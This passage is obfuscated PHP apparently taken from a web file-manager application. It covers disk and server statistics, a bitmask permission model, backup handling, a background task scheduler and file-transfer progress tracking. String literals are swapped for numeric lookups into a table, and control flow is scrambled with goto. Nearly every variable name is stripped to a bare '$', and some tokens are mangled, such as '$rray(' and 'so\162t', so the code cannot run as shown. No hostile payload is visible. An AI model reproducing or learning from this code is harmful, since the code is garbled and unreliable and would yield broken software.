int) $; } private function optionServer() { $ =& $_SERVER[]; $ = $this->diskDriver(); $ = KodIO::defaultDriver(); 
$ = array($[890] => $[$[483]]); $ = Model($[552])->where($)->sum($[79]); $ = explode($[53] 
, $_SERVER[$[147]]); $ = $[0]; $ = $GLOBALS[$[6]][$[21]]; $ = $[$[1050]]; if ($ == $[10 
38]) { $ = explode($[1364], $[$[1049]]); $ = $[0]; } if ($ == $[986] || $ == $[877]) { $ 
 = Model()->db()->query($[1946]); $ = $[0] && isset($[0][$[1652]]) ? $[0][$[1652]] : 0; $ = $[19 
47] . ($ ? $[8] . $ : $[12]); } $ = $GLOBALS[$[6]][$[434]][$[899]]; return array($[1948] => $ 
 ? $[$[1949]] : 0, $[1950] => $ ? $[$[1951]] : 0, $[1952] => (int) $[$[1949]] * 1024 * 1024 
* 1024, $[1953] => (int) $, $[1954] => ucfirst($), $[1955] => $[1956] . PHP_VERSION, $[1957] => phpBuild6 
4() ? 64 : 32, $[830] => str_replace($[1207], $[1066], $), $[434] => ucfirst($), $[32] => $_SERVER[$[1 
958]]); } private function diskDriver() { $ =& $_SERVER[]; $ = $[8]; $ = $GLOBALS[$[6]][$[1381]] == $ 
[1382]; if ($) { $ = $[1959]; if (function_exists($[1960])) { exec($[1961], $); $ = $[1] . $[8]; 
} } if (!file_exists($)) { return; } if (!function_exists($[1962])) { return; } $ = @disk_total_space($); $ = $ 
 - @disk_free_space($); return array($[1949] => $, $[1951] => $); } public function fileChart($) { $ 
=& $_SERVER[]; if (isset($[$[1764]])) { return Model($[897])->userFileTypeProfile($[$[1764]]); } if (isset($ 
[$[1963]])) { return Model($[897])->groupFileTypeProfile($[$[1963]]); } $ = $this->sourceSize(); $ = arr 
ay($[192] => 0, $[190] => 1); $ = Model($[897])->where($)->sum($[79]); $[$[190]] = 2; $ = Mode 
l($[897])->where($)->sum($[79]); return array($[836] => $[$[79]], $[1896] => $[$[1896]], $ 
[1897] => (int) $, $[1898] => (int) $); } private function sourceSize() { $ =& $_SERVER[]; $ = Model($ 
[897])->where(array($[493] => 0))->sum($[79]); $ = Model($[552])->sum($[79]); if ($ > $) { $ = $; 
} return array($[79] => (int) $, $[1896] => (int) $); } } class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; c 
onst AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; con 
st AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authAll() { return self::AUTH_SHOW | self: 
:AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::A 
UTH_EVENT | self::AUTH_ROOT; } public static function authDefault() { $ =& $_SERVER[]; $rray(array($[502] => LNG($ 
[1964]), $[1965] => $[1966], $[1967] => 1, $[1968] => 1, $[1969] => self::AUTH_SHOW | self::AUTH_VIEW | s 
elf::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), ar 
ray($[502] => LNG($[1970]), $[1965] => $[1971], $[1967] => 2, $[1968] => 1, $[1969] => self::AUTH_ 
SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($[5 
02] => LNG($[1972]), $[1965] => $[1973], $[1967] => 3, $[1968] => 1, $[1969] => self::AUTH_SHOW | self:: 
AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($[502] => LNG($[1974]), $[1965] => $ 
[1975], $[1967] => 4, $[1968] => 1, $[1969] => self::AUTH_SHOW | self::AUTH_VIEW), array($[502] => LNG($[1976] 
), $[1965] => $[1977], $[1967] => 5, $[1968] => 1, $[1969] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($ 
[502] => LNG($[1978]), $[1965] => $[1979], $[1967] => 6, $[1968] => 1, $[1969] => self::AUTH_SHOW | s 
elf::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | sel 
f::AUTH_EVENT | self::AUTH_ROOT), array($[502] => LNG($[1980]), $[1965] => $[1981], $[1967] => 7, $[1968 
] => 1, $[1969] => 0)); return $ public static function authCheck($, $) { $ =& $_SERVER[]; $ = intval 
($); if (KodUser::isRoot() && $GLOBALS[$[6]][$[1982]]) { return !0; } if ($ <= 0) { return !1; } if (($ & self:: 
AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ & $); } public static function authCheckShow($) { return self::auth 
Check($, self::AUTH_SHOW); } public static function authCheckView($) { return self::authCheck($, self::AUTH_VIEW); } public s 
tatic function authCheckDownload($) { return self::authCheck($, self::AUTH_DOWNLOAD); } public static function authCheckUpload($ 
) { return self::authCheck($, self::AUTH_UPLOAD); } public static function authCheckEdit($) { return self::authCheck($, self:: 
AUTH_EDIT); } public static function authCheckRemove($) { return self::authCheck($, self::AUTH_REMOVE); } public static function a 
uthCheckShare($) { return self::authCheck($, self::AUTH_SHARE); } public static function authCheckComment($) { return self::auth 
Check($, self::AUTH_COMMENT); } public static function authCheckEvent($) { return self::authCheck($, self::AUTH_EVENT); } pu 
blic static function authCheckRoot($) { return self::authCheck($, self::AUTH_ROOT); } public static function authCheckAction($, 
$) { $ =& $_SERVER[]; $ = array($[1983] => self::AUTH_VIEW, $[1275] => self::AUTH_DOWNLOAD, $[110] => 
self::AUTH_UPLOAD, $[1932] => self::AUTH_EDIT, $[1931] => self::AUTH_REMOVE, $[1942] => self::AUTH_SHARE, $[439] => sel 
f::AUTH_COMMENT, $[1752] => self::AUTH_EVENT, $[1984] => self::AUTH_ROOT); if (!isset($[$])) { return; } $ = $ 
[$]; $ = intval($); if ($ <= 0) { return !1; } if (($ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } ret 
urn !!($ & $); } public static function authDisable($, $) { if (intval($) <= 0) { return 0; } return intval($) 
& ~$; } public $optionType = "System.sourceAuthList"; public $field = a 
rray("name", "auth", "label", "display", "system", "so\1 
62t"); public function initData() { $ = $this->authDefault(); foreach ($ as $) { $this->add($); } } public function fin 
dAuth($, $) { $ =& $_SERVER[]; $ = parent::listData(); foreach ($ as $) { $ = intval($[$[ 
495]]); if ($ <= 0 || $[$[1985]] == 0) { continue; } if (($ & $) != $) { continue; } if (($ & $) != 0) 
{ continue; } return $[$[483]]; } return !1; } public function findAuthReadOnly() { $ = self::AUTH_SHOW | self::AUTH_VIEW | s 
elf::AUTH_DOWNLOAD; $ = self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE; return $this->findAuth($, $); } public funct 
ion findAuthNotRead() { return $this->findAuth(0, self::AUTH_SHOW); } public function findAuthMinDefault() { $ =& $_SERVER[]; $ 
 = parent::listData(); $ = !1; foreach ($ as $) { if ($[$[495]] <= 0 || $[$[1985]] == $[228]) { co 
ntinue; } if (!$) { $ = $; continue; } if ($[$[495]] > $[$[495]]) { $ = $; } } return $ ? $ 
[$[483]] : $[12]; } public function listData($ = false, $ = "sort", $ = false) { return parent::listDa 
ta($, $, $); } public function update($, $) { $ =& $_SERVER[]; $ = parent::listData($); $ 
= $this->findByName($[$[32]]); if (!$ || $ && $[$[483]] != $[$[483]]) { return !1; } $this->filt 
erAuth($[$[495]]); return parent::update($, $); } public function remove($) { $ = parent::listData($); if (! 
$ || $[$_SERVER[][191]]) { return !1; } return parent::remove($); } public function add($ = array()) { $ =& $_ 
SERVER[]; if ($this->findByName($[$[32]])) { return !1; } $ = array($[32] => $[12], $[495] => 1, $[ 
1986] => $[1973], $[1985] => 1, $[191] => 0, $[1987] => 0); $ = array_merge($, $); $[$[1987]] = 
$this->getSort(); $this->filterAuth($[$[495]]); return parent::insert($); } private function getSort() { $ =& $_SERVER 
[]; $ = parent::listData(); $ = array_to_keyvalue($, $[12], $[1987]); return empty($) ? 0 : max($ 
) + 1; } private function filterAuth(&$) { if (!$) { return; } $ = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD 
, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $ = 
array(); foreach ($ as $) { if ($ & $) { $[] = $; } } if (in_array(self::AUTH_ROOT, $)) { $ = ar 
ray_sum($); return; } $ = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUT 
H_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); fo 
reach ($ as $) { if (isset($[$])) { $ = array_merge($, $[$]); } } $[] = self::AUTH_SHO 
W; $ = array_sum(array_unique($)); } public function sort($, $) { return parent::update($, $); } } class Back 
upModel extends ModelBaseLight { public $optionType = "System.backupList"; public $field 
= array("io", "name", "status", "content", "manual", "re\16 
3ult", "timeFrom", "timeTo"); public function config() { $ =& $_SERVER[]; Acti 
on($[1988])->taskInit(); $ = Model($[843])->get($[856]); $ = json_decode($, !0); $ = is_array($) ? $ : arra 
y(); $this->parseContent($); unset($[$[1734]]); Model($[1733])->cacheClear(); $ = $[1989]; $ = Model($[1 
990])->findByKey($[1752], $); if (!$) { $ = array(); } if (isset($[$[206]])) { $[$[206]] = json_deco 
de($[$[206]], !0); } if (isset($[$[206]])) { $[$[206]][$[1737]] = $[$[206]]; unset($[$[206] 
]); } return array_merge($, $); } public function listData($ = false, $ = "modifyTime", $ 
 = false) { $ = parent::listData($, $, !0); if (!$) { return $; } if ($) { $ = array($); } f 
oreach ($ as &$) { $this->parseContent($); } return $ ? $[0] : $; } public function parseContent(&$) { $ 
=& $_SERVER[]; $ = _get($, $[171], $[91]); if (!in_array($, array($[849], $[1207]))) { $[$[171]] = $ 
 == $[91] ? $[1207] : $[849]; } } public function lastItem() { $ = $this->listData(); return !empty($[0]) ? $[0] : 
null; } public function kill($) { $ =& $_SERVER[]; $ = $this->listData($); if (!$ || empty($[$[3 
2]])) { return !0; } Task::kill($[855]); Task::kill($[873]); Task::kill($[882]); $ = $[$[32]]; $ = T 
EMP_FILES . $[852] . $ . $[8]; IO::remove($, !1); return $this->remove($); } public function remove($) { $ 
 = $this->listData($); if (!$) { return !0; } return $this->backupRemove($); } private function backupRemove($) { 
parent::remove($[$_SERVER[][483]]); $ = $this->backupPath($); IO::remove($, !1); return !0; } private function ba 
ckupPath($) { $ =& $_SERVER[]; $ = $[$[32]]; $ = Model($[843])->get($[844]); $ = substr 
(md5($[845] . $ . $), 0, 8); return "{io:{$[$[825]]}}/database/ba 
ckup/" . $ . $[11] . $; } public function start() { $ =& $_SERVER[]; if ($GLOBALS[$[6]][$[92 
]][$[1991]] != $[91]) { return !0; } $ = $this->config(); if (!$ || $[$[1734]] != $[91]) { return !1; } if ($ 
[$[171]] == $[849]) { $ = Model($[843])->get($[1320]); if ($ == $[1321]) { $[$[171]] = $[1207] 
; } } $ = $this->process(); foreach ($ as $) { if ($) { return Task::restart($[$[483]]); } } $ = new Backup( 
); $ = $->db(); if ($) { $ = $->dbFile(); if ($ && $[$[171]] == $[849]) { $ = $->file(); } 
} Backup::set(array($[823] => 1, $[834] => time())); return !0; } public function process() { $ =& $_SERVER[]; $ = 
array($[830] => Task::get($[855]), $[835] => Task::get($[873]), $[230] => Task::get($[882])); $ = !1; forea 
ch ($ as &$) { if ($) { $ = !1; continue; } if ($) { $ = intval(_get($, $[1769], 0)); if (time() - $ 
 > 7200) { Task::kill($[$[483]]); $ = !0; $ = !1; } } } return $; } public function restore() { $ =& $_SERVER[ 
]; ActionCall($[1134], !0, 1); ActionCall($[1134], !0, 0); } } goto c; D: class AutoTask { const AUTO_DELAY_TIM 
E = 2; const AUTO_RESTART_TIME = 7200; public static function start() { $ =& $_SERVER[]; if (self::valueGet($[823]) != $[9 
1]) { return; } if (self::valueGet($[1714]) == $[91]) { $ = self::valueGet($[1715]); if (time() - $ > self::AUTO_RESTA 
RT_TIME) { self::restart(); } return; } self::clearUserStatus(); self::valueSet($[1714], $[91]); self::log($[1716] . ACTION . $ 
[1717]); Hook::bind($[1718], $[1719]); $ = 0; while (!0) { self::cacheClear(); if (self::valueGet($[823]) != $[91]) 
{ self::valueSet($[1714], $[228]); self::log($[1720]); die; } $ = time(); if ($ - $ >= 60) { self::valueSet(array($ 
[1714] => $[91], $[1715] => $)); $ = $; } if (!file_exists(USER_SYSTEM . $[1721])) { self::valueSet(array($[171 
4] => $[228], $[823] => $[228])); self::log($[1722]); die; } $ = file_get_contents(BASIC_PATH . $[1723]); $ = KO 
D_VERSION . $[10] . KOD_VERSION_BUILD; $ = match_text($, $[1724]) . $[10] . match_text($, $[1725]); if ($ != $ 
) { self::restart(); self::log("stoped.[version update;{$versionNow}\x 
20=> {$version}]"); die; } self::taskRunAll(); sleep(self::AUTO_DELAY_TIME); } } public static function clearUserStatus() { $ = 
& $_SERVER[]; http_close(); $GLOBALS[$[1726]] = 1; $_SERVER[$[1727]] = $[1728]; $_COOKIE = array(); $GLOBALS[$[1729]] = 1; 
$GLOBALS[$[1730]] = 1; Session::$sessionSign = guid(); Session::$data = array(); } public static function restart() { $ =& $_SERVER[ 
]; http_close(); self::valueSet($[823], $[228]); sleep(self::AUTO_DELAY_TIME + 5); self::valueSet(array($[1714] => $[228], 
$[823] => $[91])); self::log($[1731]); } public static function taskSwitch() { $ =& $_SERVER[]; $ = self::valueGet($ 
[823]) == $[91] ? $[228] : $[91]; self::valueSet($[823], $); } public static function shutdownEvent() { $ =& $_ 
SERVER[]; self::valueSet($[1714], $[228]); self::log($[1732]); } public static function config($, $) { self:: 
valueSet($_SERVER[][823], $); } private static function taskRunAll() { $ =& $_SERVER[]; $ = timeFloat(); $ = M 
odel($[1733])->listData(); $ = count($); for ($ = 0; $ < $; $++) { $ = $[$]; if (!$ 
[$[483]] || $[$[1734]] != $[91]) { continue; } if (!self::taskTimeCheck($)) { continue; } self::taskRun($); } 
Hook::trigger($[1735]); self::taskQueueRun($); } private static function taskQueueRun($) { $ = 10; while (!0) { $ 
= TaskQueue::run(); if ($ === !1) { break; } if (timeFloat() - $ >= $) { break; } } } private static function taskTimeCheck( 
$) { $ =& $_SERVER[]; $ = json_decode($[$[206]], !0); $ = intval($[$[1715]]); $ = strtot 
ime($[1736] . $[$[1737]] . $[1738]) - strtotime($[1739]); $ = time() - strtotime(date($[1740]) . $ 
[1741]); $ = $ >= $ && $ <= $ + 3600; switch ($[$[33]]) { case $[1742]: if (time() - $ < 3600 * 
24 * 30) { return !1; } if ($[$[1742]] == date($[1743]) && $) { return !0; } break; case $[1744]: if (time() - 
$ < 3600 * 24 * 7) { return !1; } $ = date($[1745]) == 0 ? 7 : date($[1745]); if ($[$[1744]] == $ && $ 
) { return !0; } break; case $[1737]: if (time() - $ < 3600 * 24) { return !1; } if ($) { return !0; } break; case $ 
[1746]: if (time() - $ >= floatval($[$[1746]]) * 60) { return !0; } break; default: break; } return !1; } private static 
function closeDatabase() { $ =& $_SERVER[]; static $ = 0; $ = 300; if (!$) { $ = time(); } if (time() - 
$ < $) { return; } $ = time(); $ = Model($[585])->db($[12]); if ($) { $->closeConnect(); } if 
(time() - TIME > 3600 * 24 * 3) { self::log($[1747], $[1748]); die; } } public static function taskRun($) { $ =& $_SERV 
ER[]; self::log($[1749] . $[$[483]] . $[1750] . $[$[32]] . $[1751] . $[$[1752]]); M 
odel($[1733])->run($[$[483]]); $ = timeFloat(); $ = $[12]; switch ($[$[33]]) { case $[39 
2]: $ = url_request($[$[1752]], $[261], !1, !1, !1, !1, 10); if ($[$[823]]) { $ = strlen($[$ 
[1283]]); } break; case $[260]: $ = Hook::apply($[$[1752]]); default: break; } Model($[1753])->add(array($ 
[1754] => $[12], $[1755] => $[228], $[33] => $[1756] . $[$[483]], $[1757] => json_encode(a 
rray($[32] => $[$[32]], $[1758] => timeFloat() - $, $[378] => $)))); $ = $ ? $[175 
9] . $ : $[12]; self::log($[1760] . $[$[483]] . $[178] . $); return !0; } public static function val 
ueGet($) { $ =& $_SERVER[]; $ = $[1761]; $ = Model($[516])->get($, $); if (is_null($)) { 
Model($[516])->set($[823], $[91], $); Model($[516])->set($[1714], $[228], $); $ = Model($[ 
516])->get($, $); } return $; } private static function valueSet($, $ = false) { $ =& $_SERVER[]; $ = 
$[1762]; CacheLock::lock($); $ = Model($[516])->set($, $, $[1761]); CacheLock::unlock($); return $; 
} protected static function log($) { write_log($, $_SERVER[][1748]); } private static function cacheClear() { $ =& $_SE 
RVER[]; Cache::clearMemory(Model($[516])->cacheKey($[1761])); Cache::clearMemory(Model($[516])->cacheKey($[1763])) 
; Model($[1733])->cacheClear(); self::closeDatabase(); } } class Task { const STATYS_STOP = "stop"; const STATYS_RUNNING = 
"running"; const STATYS_KILL = "kill"; public $task; private $isEnd = false; public function __destruct() { 
$this->end(); } public function __construct($, $ = '', $ = 0, $ = '') { $ =& $_SERVER[]; if (self::get($)) 
{ return; } $this->task = array($[483] => $, $[1764] => USER_ID, $[1653] => $, $[534] => $[12], $[33] => $ 
, $[1139] => $[12], $[1137] => $, $[1765] => 0, $[1766] => 0, $[1767] => 0, $[1768] => timeFloat(), $ 
[1769] => 0, $[1770] => 0, $[1771] => 0, $[1772] => 0, $[823] => $[1714]); $GLOBALS[$[1773]] = 1; Hook::bind($ 
[1718], array($this, $[1774])); Hook::bind($[1775], array($this, $[1776])); $this->startAfter(); Hook::trigger($[1777], $th 
is->task); $this->task[$[1770]] = timeFloat(); } public function end($ = '') { $ =& $_SERVER[]; if (!$this->task || $th 
is->isEnd) { return; } if ($this->task[$[1770]]) { self::valueSet($this->task[$[483]], !1); } $this->isEnd = !0; if ($) { $t 
his->task[$[534]] = $; } self::log($[1778] . $this->task[$[483]] . $[1779] . sprintf($[924], timeFloat() - $t 
his->task[$[1768]]) . $[1780]); Hook::unbind($[1718], array($this, $[1774])); Hook::unbind($[1775], array($this, $ 
[1776])); $this->endAfter(); $ = $this->task; $this->task = !1; Hook::trigger($[1781], $); } public function update($ 
 = 0, $ = false) { $ =& $_SERVER[]; $ =& $this->task; if (!$) { return; } $[$[1765]] += $; $[ 
$[1769]] = timeFloat(); if ($[$[1137]]) { if ($[$[1137]] < $[$[1765]]) { $[$[1137]] = $[$ 
[1765]]; } $ = timeFloat() - $[$[1768]] - $[$[1771]]; if ($ <= 0) { $ = 0.001; } $[$[17 
66]] = $[$[1765]] / $[$[1137]]; $[$[1767]] = $[$[1765]] / $; if ($[$[1766]] > 0) { $ 
[$[1772]] = $ * (1 - $[$[1766]]) / $[$[1766]]; } $[$[1772]] = $[$[1772]] <= 0 ? 0 : 
$[$[1772]]; } $this->updateAfter(); $ = 0.2; if (timeFloat() - $[$[1770]] < $ && !$) { return; } $ 
= self::get($[$[483]]); $ = $[$[823]]; if ($ == self::STATYS_KILL) { $ = array($[1782] => LNG($ 
[1783]), $[1293] => !1); Cache::set($[1784] . $this->task[$[483]], $, 30); $this->onKill(); $this->end(); die; } el 
se { if ($ == self::STATYS_STOP) { $ = 2; $[$[1771]] += $; self::valueSet($[$[483]], $); sleep($ 
); $this->update(); return; } } $[$[823]] = $ ? $ : $[$[823]]; $[$[1771]] = $[$[1771]] ? $ 
[$[1771]] : 0; $[$[1770]] = timeFloat(); Hook::trigger($[1785], $); self::valueSet($[$[483]], $) 
; } public function onKillSet($, $ = array()) { $this->onKillCall = array($, $); } public function onKill() { $ =& 
$_SERVER[]; self::log($[1778] . $this->task[$[483]] . $[1786]); Hook::trigger($[1787], $this->task); if (!$this->o 
nKillCall) { return; } ActionApply($this->onKillCall[0], $this->onKillCall[1]); $this->onKillCall = !1; $this->task = !1; } protected functi 
on updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } 
public function showJson($) { $ =& $_SERVER[]; Cache::set($[1784] . $this->task[$[483]], $, 60); return $ 
; } public static function get($) { $ =& $_SERVER[]; $ = self::valueGet($); if (is_array($) && $[$ 
[1788]]) { $ = ActionApply($[$[1788]], array($)); $ = is_array($) ? $ : $; } return $; } 
public static function listData() { $ = self::valueGet(); return array_sort_by($, $_SERVER[][1768], !0); } public static fun 
ction kill($) { return self::changeStatus($, self::STATYS_KILL); } public static function stop($) { return self::changeStatus( 
$, self::STATYS_STOP); } public static function restart($) { return self::changeStatus($, self::STATYS_RUNNING); } public stat 
ic function killAll() { $ =& $_SERVER[]; $ = self::listData(); foreach ($ as $) { self::kill($[$[483]]); 
} sleep(2); foreach ($ as $) { self::valueSet($[$[483]], !1); } } private static function changeStatus($, $) 
{ $ =& $_SERVER[]; $ = self::valueGet($); if (!$) { return !1; } $[$[823]] = $; self::valueSet($ 
, $); self::log($[1789] . $[$[483]] . $[1790] . $); return !0; } public static function valueGet($ = fal 
se) { $ =& $_SERVER[]; if ($) { $ = Model($[528])->where(array($[97] => $, $[33] => $[1146]))->f 
ind(); return $ ? json_decode($[$[459]], !0) : !1; } return self::taskListUser(USER_ID); } public static function taskListUs 
er($ = false) { $ =& $_SERVER[]; $ = array($[33] => $[1146]); if ($) { $[$[1764]] = $; } $ 
= Model($[528])->where($)->select(); $ = $ ? $ : array(); foreach ($ as $ => $) { $[$] = json_d 
ecode($[$[459]], !0); } return $; } public static function valueSet($, $) { $ =& $_SERVER[]; if (!$ 
) { return Model($[528])->where(array($[97] => $, $[33] => $[1146]))->delete(); } $ = json_encode($) 
; if (!$) { ob_start(); var_dump($); $ = ob_get_clean(); self::log($[1791] . json_encode_force($)); } if (!$ 
 || !$[$[483]]) { return !1; } $ = array($[33] => $[1146], $[1764] => USER_ID, $[97] => $, $ 
[459] => $); $ = $[1792]; CacheLock::lock($); Model($[528])->add($, array(), !0); CacheLock::unlock($); 
} public static function log($) { if (!GLOBAL_DEBUG) { return; } write_log($, $_SERVER[][1793]); } } class TaskFileTransfer 
extends Task { protected function startAfter() { $ =& $_SERVER[]; $ =& $this->task; $this->sourceCopyFolder = !1; Hook::bin 
d($[1794], array($this, $[1795])); Hook::bind($[1304], array($this, $[1796])); Hook::bind($[1797], array($this, $ 
[1798])); Hook::bind($[676], array($this, $[1799])); Hook::bind($[677], array($this, $[1800])); Hook::bind($[683 
], array($this, $[1801])); Hook::bind($[684], array($this, $[1802])); Hook::bind($[679], array($this, $[1803])); Ho 
ok::bind($[681], array($this, $[1804])); Hook::bind($[645], array($this, $[1805])); Hook::bind($[642], array($this, 
$[1805])); Hook::bind($[647], array($this, $[1805])); Hook::bind($[649], array($this, $[1805])); Hook::bind($ 
[651], array($this, $[1805])); Hook::bind($[1806], array($this, $[1807])); Hook::bind($[667], array($this, $[1808]) 
); $this->sourceModelCopyFlag = !1; Hook::bind($[1809], array($this, $[1810])); Hook::bind($[1811], array($this, $[1812] 
)); Hook::bind($[1813], array($this, $[1814])); $[$[1815]] = LNG($[1816]); $[$[1817]] = 0; $[$[ 
1818]] = 0; $[$[1139]] = $[12]; $[$[1819]] = $[12]; $[$[1820]] = 0; $[$[1821]] = 0; $ 
[$[1822]] = 0; if (!$[$[1653]]) { $[$[1653]] = LNG($[1823]); } } protected function endAfter() { $ =& $_S 
ERVER[]; Hook::unbind($[1794], array($this, $[1795])); Hook::unbind($[1304], array($this, $[1796])); Hook::unbind( 
$[1797], array($this, $[1798])); Hook::unbind($[676], array($this, $[1799])); Hook::unbind($[677], array($this, $ 
[1800])); Hook::unbind($[683], array($this, $[1801])); Hook::unbind($[684], array($this, $[1802])); Hook::unbind($ 
[679], array($this, $[1803])); Hook::unbind($[681], array($this, $[1804])); Hook::unbind($[645], array($this, $[1 
805])); Hook::unbind($[642], array($this, $[1805])); Hook::unbind($[647], array($this, $[1805])); Hook::unbind($[64 
9], array($this, $[1805])); Hook::unbind($[651], array($this, $[1805])); Hook::unbind($[1806], array($this, $[1807] 
)); Hook::unbind($[667], array($this, $[1808])); Hook::unbind($[1809], array($this, $[1810])); Hook::unbind($[1811] 
, array($this, $[1812])); Hook::unbind($[1813], array($this, $[1814])); } public function copyMoveStart($, $, $ 
, $) { $ =& $_SERVER[]; self::log($[1824] . $ . $[73] . $); $ = rtrim(TEMP_FILES, $[8]); if 
(substr($, 0, strlen($)) == $) { return; } if (substr($, 0, strlen($)) == $) { return; } $ =& $this->tas 
k; $[$[1825]] = KodIO::transferType($, $); $this->update(); } public function updateAfter() { $ =& $_SERVER[]; $ 
 =& $this->task; if (!$[$[836]]) { return; } if ($this->sourceModelCopyFlag) { return; } if ($[$[1825]] == $[1397]) 
{ return; } self::updateTask($); } private static function updateTask(&$) { $ =& $_SERVER[]; if ($[$[1825]] 
== $[1275] || $[$[1825]] == $[110]) { if ($[$[1819]]) { $[$[1822]] = $[$[1821]] + $ 
[$[1818]]; } } else { if ($[$[1825]] == $[1398]) { if ($[$[1819]] == $[1275]) { $[$[ 
1822]] = $[$[1821]] + $[$[1818]] * 0.5; } else { if ($[$[1819]] == $[110]) { $[$[1822]] = 
$[$[1821]] + $[$[1817]] * 0.5 + $[$[1818]] * 0.5; } } } } $[$[1766]] = $[$[1822]] / $ 
[$[836]]; if ($[$[1766]] > 0) { $ = timeFloat() - $[$[1768]] - $[$[1771]]; $[$[1 
772]] = $ * (1 - $[$[1766]]) / $[$[1766]]; } } public function addPath($) { $ =& $_SERVER[]; if (!$ 
) { return; } $ =& $this->task; $ = IO::infoWithChildren($); $ = $[$[1826]] ? $[$[1826]][$ 
[1827]] : 0; $[$[1826]] = array($[1827] => $ + 1, $[502] => $[$[32]], $[87] => $[$[87]], 
$[590] => $[$[590]] ? $[$[590]] : $[$[87]]); if ($[$[33]] == $[230]) { $[$[113 
7]] += 1; } else { $[$[1137]] += $[$[82]][$[80]]; if ($[$[193]]) { $[$[1137]] += $[$ 
[82]][$[81]] + 1; } } $[$[836]] += $[$[79]]; $this->update(); } public function sourceCopyFolderStart() { $this-> 
sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddHashStart($) 
{ } public function sourceAddHashEnd($) { } public function sourceAddFileStart($) { $ =& $_SERVER[]; $ =& $this->task; 
$[$[1817]] = $[$[79]]; $[$[1815]] = $[$[32]]; $[$[1139]] = $[$[32]]; $[$[1828]] = $ 
[$[87]]; $this->update(); } public function sourceAddFileEnd($) { $ =& $_SERVER[]; $ =& $this->task; $[$ 
[1822]] += $[$[79]]; $[$[1828]] = $[$[87]]; $this->update(1); } public function copyFileStart($, $, 
$, $, $, $) { $ =& $_SERVER[]; $ = $; if ($ == $GLOBALS[$[1829]]) { $ = $GLOBALS[$ 
[1830]]; } $GLOBALS[$[1830]] = $; $GLOBALS[$[1829]] = $; $ =& $this->task; $[$[1815]] = $; $[$ 
[1817]] = (int) $->size($); $[$[1818]] = 0; $[$[1139]] = $[12]; $[$[1819]] = $[12]; $ 
[$[1820]] = 0; $ = $[$[1817]] > 1024 * 1024 * 10 ? !0 : !1; Cache::remove($[$[483]] . $[1831]); if ($ 
 && file_exists(get_path_father($))) { Cache::set($[$[483]] . $[1831], $); $[$[1788]] = array($[1832], 
$[1833]); } $this->update(0, $); } public static function updateCopyLocalFileSize($) { $ =& $_SERVER[]; $ = Cach 
e::get($[$[483]] . $[1831]); if (!$ || !file_exists($)) { return $; } $[$[1818]] = @filesize($); $ 
[$[1822]] += $[$[1818]]; self::updateTask($); return $; } public function copyFileEnd($, $, $, $ 
, $, $) { $ =& $_SERVER[]; $ =& $this->task; $[$[1818]] = $[$[1817]]; $[$[1819] 
] = $[12]; unset($[$[1788]]); if ($ == $[$[1815]]) { $[$[1821]] += $[$[1817]]; $ 
[$[1822]] = $[$[1821]]; $ = 1; if (isset($[$[1828]]) && $[$[1828]] == $) { $ = 0; } $this 
->update($); } else { $this->update(); $[$[1818]] = 0; } Cache::remove($[$[483]] . $[1831]); self::log($ 
[1834] . $ . $[73] . $ . $[262] . $ . $[1835] . $[$[1815]]); } public function updateFileEnd($, 
$) { $ =& $_SERVER[]; $ =& $this->task; $[$[1815]] = $; $[$[1817]] = $; $[$[18 
21]] += $; $[$[1822]] = $[$[1821]]; $this->update(1); self::log($[1836] . $); } public function sourceMode 
lCopy($) { $ =& $_SERVER[]; $ = $[0]; $ = $[1]; $ =& $this->task; $this->sourceModelCopyFlag = !0; 
$ = 0; switch ($) { case $[643]: $ = 1; break; case $[646]: $[$[1815]] = $[$[32]]; break; case 
$[648]: $ = intval($[$[464]] * 0.4); break; case $[650]: $ = intval($[$[464]] * 0.2); break; case $ 
[652]: $ = intval($[$[464]] * 0.4); break; } $this->update($); $this->sourceModelCopyFlag = !1; } public function so 
urceRemove($, $) { $ =& $_SERVER[]; $this->sourceModelCopyFlag = !0; $ = 1; if (isset($[$[82]])) { $ 
= $[$[82]][$[80]]; $ = $ + $[$[82]][$[81]] + 1; } $this->update($); $this->sourceModelCopyFlag = !1 
; } public function sourceMove($) { $this->sourceRemove($, !1); } public function curlProgress($, $, $, $, $ 
) { $ =& $_SERVER[]; $ =& $this->task; if ($ > 0) { $[$[1139]] = $[1837]; $[$[1819]] = $[1 
10]; if ($[$[1817]]) { $[$[1818]] = $; } if ($[$[1820]]) { $[$[1818]] = $ + $[$[1820]]; 
} } else { if ($ > 0) { if ($[$[1817]] == $) { $[$[1818]] = $; $[$[1139]] = $[1838]; $ 
